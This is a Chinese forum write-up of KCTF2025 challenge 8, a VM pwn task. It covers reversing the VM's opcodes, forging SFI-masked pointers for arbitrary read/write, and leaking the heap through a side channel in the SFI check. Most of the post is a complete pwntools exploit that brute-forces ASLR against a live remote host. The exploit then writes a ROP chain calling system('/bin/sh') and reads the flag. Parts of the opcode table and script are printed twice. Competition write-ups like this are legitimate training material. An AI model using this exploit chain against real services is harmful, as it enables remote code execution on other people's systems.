首页
社区
课程
招聘
[原创] KCTF2025 - 第八题 暗云涌动 题解 (vm题,任意读写 侧信道leak)
发表于: 2025-8-30 03:09 2780

[原创] KCTF2025 - 第八题 暗云涌动 题解 (vm题,任意读写 侧信道leak)

2025-8-30 03:09
2780

VM 题,给了任意读写,但读写使用的指针必须是有 SFI mask 的指针,但是 mask 可以伪造,所以等于直接给了任意读写
但 VM 各段和寄存器都被完美清零,且没有直接的越界可以读取初始指针
保护除了 Canary 全开,容器 ubuntu22.04 (但是看雪远端应该并不是 ubuntu 作为容器的 host,所以 ASLR
有细微差异)
然而,SFI 的实现提供了侧信道可以安全地探测一个地址是不是属于 vm 的堆或者栈段,而 vm 的栈是通过 zalloc 分配的,在程序的堆上。
因此,解题思路是:

看到 opcode 知 vm 题,看几个 push pop add 之类的简单分支还原一下结构体:

然后再苦力一下把 25 种 opcode 都逆出来:
急需一个 MCP 来自动干这一步.jpg

VM 的所有运算都是 64 位的,但是只支持 32 位的立即数。

逆完 VM 本体之后很容易发现 load 和 store 给了任意读写,但要求指针最高 bit 是 1。
而 pushaddr(2) 和各种运算会检测数据是不是一个合法的程序指针(堆或者栈),不是的话就返回一个 vm 里堆的指针并把高位设成 1。

然而,高位的 1 我们可以直接通过普通的乘法或者加法运算得到,伪造一个符合 SFI 的指针并不是问题
这样来看,我们已经有任意读写了,唯一问题是怎么泄露一个有用的地址出来。
来看 vm 内存分配:
图片描述
分配的内存都很干净 上面没有任何残留,并且堆地址是固定值,而指令地址和 libc 或者 ld 对齐。

VM 的所有数组访问都被加上了合适的范围检查,保证不会有越界(上溢或者下溢都不会),也就不存在栈溢出一下读到临近的堆指针的可能了
找来找去看到逻辑运算都加了的 SFI 实现其实是有问题的
图片描述
它本应只检查堆指针(堆地址已知)但是却同时检查了传入的指针是否属于 vm 栈的范围,是的话就会把最高 bit 设为 1
借助这个侧信道我们就能泄露 vm 的栈 程序的堆地址了。
不过程序的跳转逻辑似乎只支持向后跳和跳到0,但这并不是问题,因为寄存器不会清空,我们可以:

这个循环我本机测试 10s 内可以运行 0x10000000 轮,加上 ASLR 的对齐,10s内可以探测 0x100_00000000 个地址,而 ubuntu22 默认的随机化范围大概是 0x5500_00000000 ~ 0x6f00_00000000 (?)
也就是要爆破 55 - 6f 一共 26种可能,那似乎多试几次就跑出来了(吧?)

那么有了堆地址之后,就可以用上面说的思路一路拿到 ld ,栈和 libc 地址想打什么打什么了
这里比较坏的是出题人给了 libc 但是没给 ld(好吧都不给也不是不能做侧信道还是能 dump 但是好无聊啊)
那先简单解决一下,猜测远程差异不打,拉一个同版本的镜像 ubuntu:jammy-20250404
虽然但是,还是希望出题人能不吝啬要么给全附件要么给 Dockerfile

拿到偏移之后本地写脚本,不到 10 次出了,很开心的打远程
然后 100 轮都没出,想了一下可能是远程随机化熵更高或者范围完全不同,于是把范围改大再试一轮:
brup = random.randint(0x40, 0x7f) << 8
(因为 ASLR 本身是跟着内核走的,docker 的虚拟化并不虚拟化 ASLR 的生成,而是一定程度上由 host 决定的)

范围改了之后很快就出了:
图片描述

这里笔者没有继续测看雪 host 的 ASLR 范围到底是多少,后续可以再观察一下(或者看看其他师傅们题解有没有提到),方便之后玩看雪的 pwn 时候打的更丝滑些(

完整脚本:

好耶,是flag:
图片描述

struct vm {
  unsigned int pc;
  unsigned int sp;
  char *stack;
  char *heap;
  __int64 *instruction;
  struct regs *regs;
};
 
struct regs {
  unsigned __int64 r0;
  unsigned __int64 r1;
  unsigned __int64 r2;
  unsigned __int64 r3;
  unsigned __int64 r4;
  unsigned __int64 r5;
  unsigned __int64 r6;
  unsigned __int64 r7;
};
struct vm {
  unsigned int pc;
  unsigned int sp;
  char *stack;
  char *heap;
  __int64 *instruction;
  struct regs *regs;
};
 
struct regs {
  unsigned __int64 r0;
  unsigned __int64 r1;
  unsigned __int64 r2;
  unsigned __int64 r3;
  unsigned __int64 r4;
  unsigned __int64 r5;
  unsigned __int64 r6;
  unsigned __int64 r7;
};
0  push reg[x[2]]           | 0?3????? -> push reg[3]
1  pushimm imm              | 1???0001 -> push 1
2  pushaddr imm             | 2???0002 -> push 2 as ptr (has sfi flag)
3  pop reg[x[1]]            | 33?????? -> pop reg[3]
4  mov reg[x[1]], reg[x[2]] | 423????? -> mov reg[2], reg[3]
5  mov reg[x[1]], imm       | 53??0002 -> mov reg[3], 2
6  add reg[x[1]], reg[x[2]] | 623????? -> add reg[2], reg[3]
7  addimm reg[x[1]], imm    | 73??0002 -> addimm reg[2], 2
8  sub reg[x[1]], reg[x[2]] | 823????? -> sub reg[2], reg[3]
9  subimm reg[x[1]], imm    | 93??0002 -> subimm reg[2], 2
10 mul reg[x[1]], reg[x[2]] | A23????? -> mul reg[2], reg[3]
11 mulimm reg[x[1]], imm    | B3??0002 -> mulimm reg[3], 2
12 div reg[x[1]], reg[x[2]] | C23????? -> div reg[2], reg[3]
13 divimm reg[x[1]], imm    | D3??0002 -> divimm reg[3], 2
14 and reg[x[1]], reg[x[2]] | E23????? -> and reg[2], reg[3]
15 andimm reg[x[1]], imm    | F3??0002 -> andimm reg[3], 2
16 or reg[x[1]], reg[x[2]]  |1023????? -> or reg[2], reg[3]
17 orimm reg[x[1]], imm     |113??0002 -> orimm reg[3], 2
18 xor reg[x[1]], reg[x[2]] |1223????? -> xor reg[2], reg[3]
19 xorimm reg[x[1]], imm    |133??0002 -> xorimm reg[3], 2
20 load reg[x[1]], reg[x[2]]|1423????? -> reg[2] = *reg[3] (reg[3] must has sfi flag)
21 store reg[x[1]],reg[x[2]]|1523????? -> *reg[2] = reg[3] (reg[2] must has sfi flag)
22 jgt reg[x[1]], reg[x[2]], imm|16230007 -> if (reg[2] > reg[3]) pc += 7
23 jle reg[x[1]], reg[x[2]], imm|16230007 -> if (reg[2] < reg[3]) pc += 7
24 jeq reg[x[1]], reg[x[2]], imm|16230007 -> if (reg[2] == reg[3]) pc += 7
25 exit though main -> libc
else exit(0)
0  push reg[x[2]]           | 0?3????? -> push reg[3]
1  pushimm imm              | 1???0001 -> push 1
2  pushaddr imm             | 2???0002 -> push 2 as ptr (has sfi flag)
3  pop reg[x[1]]            | 33?????? -> pop reg[3]
4  mov reg[x[1]], reg[x[2]] | 423????? -> mov reg[2], reg[3]
5  mov reg[x[1]], imm       | 53??0002 -> mov reg[3], 2
6  add reg[x[1]], reg[x[2]] | 623????? -> add reg[2], reg[3]
7  addimm reg[x[1]], imm    | 73??0002 -> addimm reg[2], 2
8  sub reg[x[1]], reg[x[2]] | 823????? -> sub reg[2], reg[3]
9  subimm reg[x[1]], imm    | 93??0002 -> subimm reg[2], 2
10 mul reg[x[1]], reg[x[2]] | A23????? -> mul reg[2], reg[3]
11 mulimm reg[x[1]], imm    | B3??0002 -> mulimm reg[3], 2
12 div reg[x[1]], reg[x[2]] | C23????? -> div reg[2], reg[3]
13 divimm reg[x[1]], imm    | D3??0002 -> divimm reg[3], 2
14 and reg[x[1]], reg[x[2]] | E23????? -> and reg[2], reg[3]
15 andimm reg[x[1]], imm    | F3??0002 -> andimm reg[3], 2
16 or reg[x[1]], reg[x[2]]  |1023????? -> or reg[2], reg[3]
17 orimm reg[x[1]], imm     |113??0002 -> orimm reg[3], 2
18 xor reg[x[1]], reg[x[2]] |1223????? -> xor reg[2], reg[3]
19 xorimm reg[x[1]], imm    |133??0002 -> xorimm reg[3], 2
20 load reg[x[1]], reg[x[2]]|1423????? -> reg[2] = *reg[3] (reg[3] must has sfi flag)
21 store reg[x[1]],reg[x[2]]|1523????? -> *reg[2] = reg[3] (reg[2] must has sfi flag)
22 jgt reg[x[1]], reg[x[2]], imm|16230007 -> if (reg[2] > reg[3]) pc += 7
23 jle reg[x[1]], reg[x[2]], imm|16230007 -> if (reg[2] < reg[3]) pc += 7
24 jeq reg[x[1]], reg[x[2]], imm|16230007 -> if (reg[2] == reg[3]) pc += 7
25 exit though main -> libc
else exit(0)
from pwn import *
 
 
def _enc(_op, r1=None, r2=None, imm=0):
    return bytes([_op & 0xFF, (r1 & 0xF) if r1 is not None else 0, (r2 & 0xF) if r2 is not None else 0, 0]) + p32(imm)
 
 
def PUSH_REG(r):  # 0  push reg[x[2]]           | 0?3????? -> push reg[3]
    return _enc(0x00, r1=None, r2=r)
 
 
def PUSH_IMM(val):  # 1  pushimm imm              | 1???0001 -> push 1
    return _enc(0x01, imm=val)
 
 
def PUSH_ADDR(val):  # 2  pushaddr imm             | 2???0002 -> push 2 as ptr (has sfi flag)
    return _enc(0x02, imm=val)
 
 
def POP(r):  # 3  pop reg[x[1]]            | 33?????? -> pop reg[3]
    return _enc(0x03, r1=r)
 
 
def MOV_RR(rd, rs):  # 4  mov reg[x[1]], reg[x[2]] | 423????? -> mov reg[2], reg[3]
    return _enc(0x04, r1=rd, r2=rs)
 
 
def MOV_RI(rd, imm):  # 5  mov reg[x[1]], imm       | 53??0002 -> mov reg[3], 2
    return _enc(0x05, r1=rd, imm=imm)
 
 
def ADD_RR(rd, rs):  # 6  add reg[x[1]], reg[x[2]] | 623????? -> add reg[2], reg[3]
    return _enc(0x06, r1=rd, r2=rs)
 
 
def ADD_RI(rd, imm):  # 7  addimm reg[x[1]], imm    | 73??0002 -> addimm reg[2], 2
    return _enc(0x07, r1=rd, imm=imm)
 
 
def SUB_RR(rd, rs):  # 8  sub reg[x[1]], reg[x[2]] | 823????? -> sub reg[2], reg[3]
    return _enc(0x08, r1=rd, r2=rs)
 
 
def SUB_RI(rd, imm):  # 9  subimm reg[x[1]], imm    | 93??0002 -> subimm reg[2], 2
    return _enc(0x09, r1=rd, imm=imm)
 
 
def MUL_RR(rd, rs):  # 10 mul reg[x[1]], reg[x[2]] | A23????? -> mul reg[2], reg[3]
    return _enc(0x0A, r1=rd, r2=rs)
 
 
def MUL_RI(rd, imm):  # 11 mulimm reg[x[1]], imm    | B3??0002 -> mulimm reg[3], 2
    return _enc(0x0B, r1=rd, imm=imm)
 
 
def DIV_RR(rd, rs):  # 12 div reg[x[1]], reg[x[2]] | C23????? -> div reg[2], reg[3]
    return _enc(0x0C, r1=rd, r2=rs)
 
 
def DIV_RI(rd, imm):  # 13 divimm reg[x[1]], imm    | D3??0002 -> divimm reg[3], 2
    return _enc(0x0D, r1=rd, imm=imm)
 
 
def AND_RR(rd, rs):  # 14 and reg[x[1]], reg[x[2]] | E23????? -> and reg[2], reg[3]
    return _enc(0x0E, r1=rd, r2=rs)
 
 
def AND_RI(rd, imm):  # 15 andimm reg[x[1]], imm    | F3??0002 -> andimm reg[3], 2
    return _enc(0x0F, r1=rd, imm=imm)
 
 
def OR_RR(rd, rs):  # 16 or reg[x[1]], reg[x[2]]  |1023????? -> or reg[2], reg[3]
    return _enc(0x10, r1=rd, r2=rs)
 
 
def OR_RI(rd, imm):  # 17 orimm reg[x[1]], imm     |113??0002 -> orimm reg[3], 2
    return _enc(0x11, r1=rd, imm=imm)
 
 
def XOR_RR(rd, rs):  # 18 xor reg[x[1]], reg[x[2]] |1223????? -> xor reg[2], reg[3]
    return _enc(0x12, r1=rd, r2=rs)
 
 
def XOR_RI(rd, imm):  # 19 xorimm reg[x[1]], imm    |133??0002 -> xorimm reg[3], 2
    return _enc(0x13, r1=rd, imm=imm)
 
 
def LOAD(rd, rs):  # 20 load reg[x[1]], reg[x[2]]|1423????? -> reg[2] = *reg[3] (reg[3] must has sfi flag)
    return _enc(0x14, r1=rd, r2=rs)
 
 
def STORE(rd, rs):  # 21 store reg[x[1]],reg[x[2]]|1523????? -> *reg[2] = reg[3] (reg[2] must has sfi flag)
    return _enc(0x15, r1=rd, r2=rs)
 
 
def JGT(r1, r2, off):  # 22 jgt reg[x[1]], reg[x[2]], imm|16230007 -> if (reg[2] > reg[3]) pc += 7
    return _enc(0x16, r1=r1, r2=r2, imm=off)
 
 
def JLE(r1, r2, off):  # 23 jle reg[x[1]], reg[x[2]], imm|16230007 -> if (reg[2] < reg[3]) pc += 7
    return _enc(0x17, r1=r1, r2=r2, imm=off)
 
 
def JEQ(r1, r2, off):  # 24 jeq reg[x[1]], reg[x[2]], imm|16230007 -> if (reg[2] == reg[3]) pc += 7
    return _enc(0x18, r1=r1, r2=r2, imm=off)
 
 
def EXIT_MAIN():  # 25 exit though main -> libc with free
    return _enc(0x19)
 
 
def EXIT_RAW():  # else exit(0)
    return _enc(0x1A)
 
 
class Asm:
    def __init__(self):
        self.code = bytearray()
 
    def emit(self, b: bytes):
        self.code += b
        return self
 
    def build(self) -> bytes:
        return bytes(self.code)
 
 
while True:
    # libc_elf = ELF("./libc.so.6")
    # p = process(["./pwn"], env={"LD_PRELOAD": libc_elf.path})
    # p = remote("172.17.0.2", 1337)
    p = remote("123.57.66.184", 10071)
    # context.log_level = "debug"
 
    # gdb.attach(p, 'b *($rebase(0x2FB6))')  # 0x1e0e div  0x2FB6 ret
    brup = random.randint(0x40, 0x7f) << 8
 
    a = Asm()
 
    a.emit(MOV_RI(1, 0x10000))
    a.emit(MUL_RR(1, 1))  # R1 = 0x100000000
 
    a.emit(MOV_RI(2, brup))  # 0x00005500
    a.emit(MUL_RR(2, 1))
    a.emit(OR_RI(2, 0x00000528))  # R2 = 0x5500_00000528
 
    a.emit(MOV_RI(3, 0x80000000))
    a.emit(MUL_RR(3, 1))  # R3 = 0x80000000_00000000
 
    a.emit(OR_RR(4, 2))
    a.emit(ADD_RI(4, 0x1000))  # R4 += 0x1000
 
    a.emit(OR_RR(3, 4))
    a.emit(AND_RI(3, 0xfff))  # check R3 is heap 0x8...2000 or stack (0x....528)
 
    a.emit(JEQ(3, 0, 0x500))  # PC = 0 if R3 == 0
 
    # now, R4 has heap addr
    a.emit(SUB_RI(4, 0x528))  # heap base
    a.emit(OR_RI(4, 0x2b8))  # a ptr to ld (instruction mmaped)
 
    a.emit(MOV_RI(5, 0x40000000))
    a.emit(MUL_RR(5, 1))  # R5 = 0x40000000_00000000
 
    a.emit(ADD_RR(4, 5))
    a.emit(ADD_RR(4, 5))  # R4 = ptr to ld | sfi flag
    a.emit(LOAD(4, 4))  # R4 = &instruction (aligned with ld)
    a.emit(SUB_RI(4, 0x37000))  # R4 = ld base
    a.emit(ADD_RI(4, 0x39a90))  # R4 = __libc_stack_end
 
    a.emit(ADD_RR(4, 5))
    a.emit(ADD_RR(4, 5))  # R4 = ptr to __libc_stack_end | sfi flag
    a.emit(LOAD(4, 4))  # R4 = __libc_stack_end
 
    a.emit(SUB_RI(4, 0x68))  # R4 = &(__libc_start_main+128)
    a.emit(MOV_RR(6, 4))  # R6 = R4 == &(__libc_start_main+128)
    a.emit(ADD_RR(6, 5))
    a.emit(ADD_RR(6, 5))  # R6 = ptr to ret_addr | sfi flag
    a.emit(LOAD(7, 6))  # R7 = __libc_start_main+128
    a.emit(SUB_RI(7, 0x29e40))  # R7 = libc base
 
    # ret
    a.emit(SUB_RI(4, 0xb0))  # R4 = &ret_addr (real exit)
    a.emit(MOV_RR(6, 4))  # R6 = R4 == &ra
    a.emit(ADD_RR(6, 5))
    a.emit(ADD_RR(6, 5))  # R6 = &ra | sfi flag
    a.emit(MOV_RR(0, 7))  # R0 = libc base
    a.emit(ADD_RI(0, 0x2a3e6))  # R0 = ret
    a.emit(STORE(6, 0))  # write back
 
    # POP RDI
    a.emit(ADD_RI(4, 8))  # R4 = &ret_addr (real exit)
    a.emit(MOV_RR(6, 4))  # R6 = R4 == &ra
    a.emit(ADD_RR(6, 5))
    a.emit(ADD_RR(6, 5))  # R6 = &ra | sfi flag
    a.emit(MOV_RR(0, 7))  # R0 = libc base
    a.emit(ADD_RI(0, 0x2a3e5))  # R0 = pop_rdi
    a.emit(STORE(6, 0))  # write back
 
    # &/bin/sh
    a.emit(ADD_RI(4, 8))  # R4 = &ra + 8
    a.emit(MOV_RR(6, 4))  # R6 = R4 == &ra + 8
    a.emit(ADD_RR(6, 5))
    a.emit(ADD_RR(6, 5))  # R6 = &ra | sfi flag
    a.emit(MOV_RR(0, 7))  # R0 = libc base
    a.emit(ADD_RI(0, 0x1d8678))  # R0 = &/bin/sh
    a.emit(STORE(6, 0))  # write back
 
    # system
    a.emit(ADD_RI(4, 8))  # R4 = &ra + 8
    a.emit(MOV_RR(6, 4))  # R6 = R4 == &ra + 8
    a.emit(ADD_RR(6, 5))
    a.emit(ADD_RR(6, 5))  # R6 = &ra | sfi flag
    a.emit(MOV_RR(0, 7))  # R0 = libc base
    a.emit(ADD_RI(0, 0x50d70))  # R0 = system
    a.emit(STORE(6, 0))  # write back
 
    # a.emit(DIV_RR(6, 7))
    a.emit(EXIT_MAIN())
 
    p.sendline(a.build())
 
    sleep(1)
 
    p.sendline(b'ls ; cat fla* ; cat /fla*')
    try:
        print(p.recvn(1))
        p.interactive()
    except EOFError:
        p.close()
from pwn import *
 
 
def _enc(_op, r1=None, r2=None, imm=0):
    return bytes([_op & 0xFF, (r1 & 0xF) if r1 is not None else 0, (r2 & 0xF) if r2 is not None else 0, 0]) + p32(imm)
 
 
def PUSH_REG(r):  # 0  push reg[x[2]]           | 0?3????? -> push reg[3]
    return _enc(0x00, r1=None, r2=r)
 
 
def PUSH_IMM(val):  # 1  pushimm imm              | 1???0001 -> push 1
    return _enc(0x01, imm=val)
 
 
def PUSH_ADDR(val):  # 2  pushaddr imm             | 2???0002 -> push 2 as ptr (has sfi flag)
    return _enc(0x02, imm=val)
 
 
def POP(r):  # 3  pop reg[x[1]]            | 33?????? -> pop reg[3]
    return _enc(0x03, r1=r)
 
 
def MOV_RR(rd, rs):  # 4  mov reg[x[1]], reg[x[2]] | 423????? -> mov reg[2], reg[3]
    return _enc(0x04, r1=rd, r2=rs)
 
 
def MOV_RI(rd, imm):  # 5  mov reg[x[1]], imm       | 53??0002 -> mov reg[3], 2
    return _enc(0x05, r1=rd, imm=imm)
 
 
def ADD_RR(rd, rs):  # 6  add reg[x[1]], reg[x[2]] | 623????? -> add reg[2], reg[3]
    return _enc(0x06, r1=rd, r2=rs)
 
 
def ADD_RI(rd, imm):  # 7  addimm reg[x[1]], imm    | 73??0002 -> addimm reg[2], 2
    return _enc(0x07, r1=rd, imm=imm)
 
 
def SUB_RR(rd, rs):  # 8  sub reg[x[1]], reg[x[2]] | 823????? -> sub reg[2], reg[3]
    return _enc(0x08, r1=rd, r2=rs)
 
 
def SUB_RI(rd, imm):  # 9  subimm reg[x[1]], imm    | 93??0002 -> subimm reg[2], 2
    return _enc(0x09, r1=rd, imm=imm)
 
 
def MUL_RR(rd, rs):  # 10 mul reg[x[1]], reg[x[2]] | A23????? -> mul reg[2], reg[3]
    return _enc(0x0A, r1=rd, r2=rs)
 
 
def MUL_RI(rd, imm):  # 11 mulimm reg[x[1]], imm    | B3??0002 -> mulimm reg[3], 2
    return _enc(0x0B, r1=rd, imm=imm)
 
 
def DIV_RR(rd, rs):  # 12 div reg[x[1]], reg[x[2]] | C23????? -> div reg[2], reg[3]
    return _enc(0x0C, r1=rd, r2=rs)
 
 
def DIV_RI(rd, imm):  # 13 divimm reg[x[1]], imm    | D3??0002 -> divimm reg[3], 2
    return _enc(0x0D, r1=rd, imm=imm)
 
 
def AND_RR(rd, rs):  # 14 and reg[x[1]], reg[x[2]] | E23????? -> and reg[2], reg[3]
    return _enc(0x0E, r1=rd, r2=rs)
 
 
def AND_RI(rd, imm):  # 15 andimm reg[x[1]], imm    | F3??0002 -> andimm reg[3], 2
    return _enc(0x0F, r1=rd, imm=imm)
 
 
def OR_RR(rd, rs):  # 16 or reg[x[1]], reg[x[2]]  |1023????? -> or reg[2], reg[3]
    return _enc(0x10, r1=rd, r2=rs)
 
 
def OR_RI(rd, imm):  # 17 orimm reg[x[1]], imm     |113??0002 -> orimm reg[3], 2
    return _enc(0x11, r1=rd, imm=imm)
 
 
def XOR_RR(rd, rs):  # 18 xor reg[x[1]], reg[x[2]] |1223????? -> xor reg[2], reg[3]
    return _enc(0x12, r1=rd, r2=rs)
 
 
def XOR_RI(rd, imm):  # 19 xorimm reg[x[1]], imm    |133??0002 -> xorimm reg[3], 2
    return _enc(0x13, r1=rd, imm=imm)
 
 
def LOAD(rd, rs):  # 20 load reg[x[1]], reg[x[2]]|1423????? -> reg[2] = *reg[3] (reg[3] must has sfi flag)
    return _enc(0x14, r1=rd, r2=rs)
 
 
def STORE(rd, rs):  # 21 store reg[x[1]],reg[x[2]]|1523????? -> *reg[2] = reg[3] (reg[2] must has sfi flag)
    return _enc(0x15, r1=rd, r2=rs)
 

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回